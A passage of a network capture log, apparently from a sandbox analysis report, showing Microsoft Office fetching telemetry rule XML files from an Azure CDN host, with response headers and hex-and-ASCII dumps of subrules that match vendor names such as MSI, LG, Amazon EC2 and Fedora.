T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:19 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:19 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211019Z-1777c6cb754rz2pghC1TEBghen0000000bfg00000000q6n8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:19 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:21 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 56368140-d01e-0082-2bc3-3be489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211021Z-r1d97b99577ckpmjhC1TEBrzs00000000b10000000003qvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:21 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:21 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211021Z-178bfbc474bq2pr7hC1NYCkfgg000000024000000000mre2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:21 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:21 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:21 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211021Z-178bfbc474bnwsh4hC1NYC2ubs0000000240000000009qwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:21 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:21 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:21 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 792329fd-401e-0035-1f6c-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211021Z-178bfbc474bfw4gbhC1NYCunf400000001x000000001490c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:21 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:21 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:21 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211021Z-178bfbc474brk967hC1NYCfu6000000001tg00000000n3gf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:21 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:23 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:23 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211023Z-178bfbc474bvjk8shC1NYC83ns00000001rg00000001219z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:23 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:23 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:23 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211023Z-1777c6cb754j47wfhC1TEB5wrw00000007dg00000000rsxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:23 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:23 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:23 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211023Z-178bfbc474brk967hC1NYCfu6000000001x0000000001z03 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:24 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:23 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:24 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:23 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 2abfc2a9-b01e-003d-094d-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211023Z-15b8b599d88pxmdghC1TEBux9c00000000g000000000enzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:24 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:23 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:24 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: c4abe473-d01e-008e-4d67-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211024Z-178bfbc474b9fdhphC1NYCac0n00000001w000000000rw83 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:24 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:25 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:25 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 79b51860-701e-0021-623a-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211025Z-174c587ffdfcj798hC1TEB9bq400000000m000000000pyz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:26 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data 